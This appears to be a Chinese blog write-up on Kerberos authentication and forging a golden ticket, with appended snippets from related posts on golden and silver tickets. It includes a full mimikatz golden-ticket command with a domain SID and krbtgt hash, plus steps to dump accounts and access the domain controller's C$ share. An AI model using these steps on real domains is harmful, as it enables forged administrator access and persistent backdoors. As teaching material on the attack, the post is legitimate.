先介紹下kerberos協議:
kerberos是一種由mit(麻省理工大學)提出的一種網路身份驗證協議。它旨在通過使用金鑰加密技術為客戶端/伺服器應用程式提供強身份驗證。
在kerberos協議中主要是有三個角色的存在:
1:訪問服務的client(使用者的機器客戶端)
2:提供服務的server(服務端)
3:kdc(key distribution center)金鑰分發中心其中kdc服務缺省會安裝在乙個域的域控中,而client和server為域內的使用者或者是服務,如http服務,sql服務,遠端桌面服務。在kerberos中client是否有許可權訪問server端的服務由kdc發放的票據來決定。
2:kdc使用client hash進行解密,並在ntds.dit(只有域控中才有的資料庫)中查詢該賬戶,如果結果正確就返回用krbtgt ntlm-hash加密的tgt票據,tgt裡面包含pac,pac包含client的sid,client所在的組。
注釋:pac的全稱是privilege attribute certificate(特權屬性證書)。不同的賬號有不同的許可權,pac就是為了區別不同許可權的一種方式。
3:client(客戶端)憑藉tgt票據向kdc發起針對特定服務的tgs_req請求。
4:kdc使用krbtgt ntlm-hash進行解密,如果結果正確,就返回用服務ntlm-hash 加密的tgs票據,並帶上pac返回給client(客戶端)(這一步不管使用者有沒有訪問服務的許可權,只要tgt正確,就返回tgs票據)。
tgt:認證票據
tgs:票據發放服務
5:此時client拿著kdc給的tgs票據去請求服務。
6:服務端使用自己的ntlm-hash解密tgs票據。如果解密正確,就拿著pac去kdc那邊問client有沒有訪問許可權,域控解密pac。獲取client的sid,以及所在的組,再根據該服務的acl,判斷client是否有訪問服務的許可權。
這裡我拿國外的一台靶機做例項,看過我上次域滲透文章的朋友應該知道我已經拿下域控了,所以當然也拿下了krbtgt的hash和sid那我們就可以開始實驗了
主要命令是
kerberos::golden /admin:ceshi /domain:skyline.local /sid:s-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt
開啟cs
先檢視有哪些票據
所以要清除掉原來的票據
執行mimikatz kerkeros::purge
然後製作**票據
域控中執行wmic useraccount get /all > 11.txt
download 11.txt
找到krbtgt活動sid
檢視mimikatz抓下來的hash
生成**票據
dir 域控c$
成功總的來說**票據的利用與其說是一種攻擊方式,不如說是一種後門,當域控許可權掉後,在通過域內其他任意機器偽造票據重新獲取最高許可權。
域滲透之金票據學習
金票據 golden ticket 偽造票據授予票據 tgt 也被稱為認證票據。krbtgt賬戶 每個域控制器都有乙個 krbtgt 的使用者賬戶,是kdc的服務賬戶,用來建立票據授予服務 tgs 加密的金鑰。與其說是一種攻擊方式,不如說是一種後門,當域控許可權掉後,再重新獲取許可權。環境域控2k3...
域滲透之金票據學習 md
金票據 golden ticket 偽造票據授予票據 tgt 也被稱為認證票據。krbtgt賬戶 每個域控制器都有乙個 krbtgt 的使用者賬戶,是kdc的服務賬戶,用來建立票據授予服務 tgs 加密的金鑰。與其說是一種攻擊方式,不如說是一種後門,當域控許可權掉後,再重新獲取許可權。環境域控2k3...
域滲透 白銀票據利用
0x01 介紹 0x02 票據利用 之前,我們已經詳細說過kerberos認證的流程,這次我們就來說說如何對其進行利用,這次主要說的是 票據偽造 silver tickets 票據偽造利用的是kerberos認證中的第三個步驟,在第三步的時候,client會帶著ticket向server的某個服務進...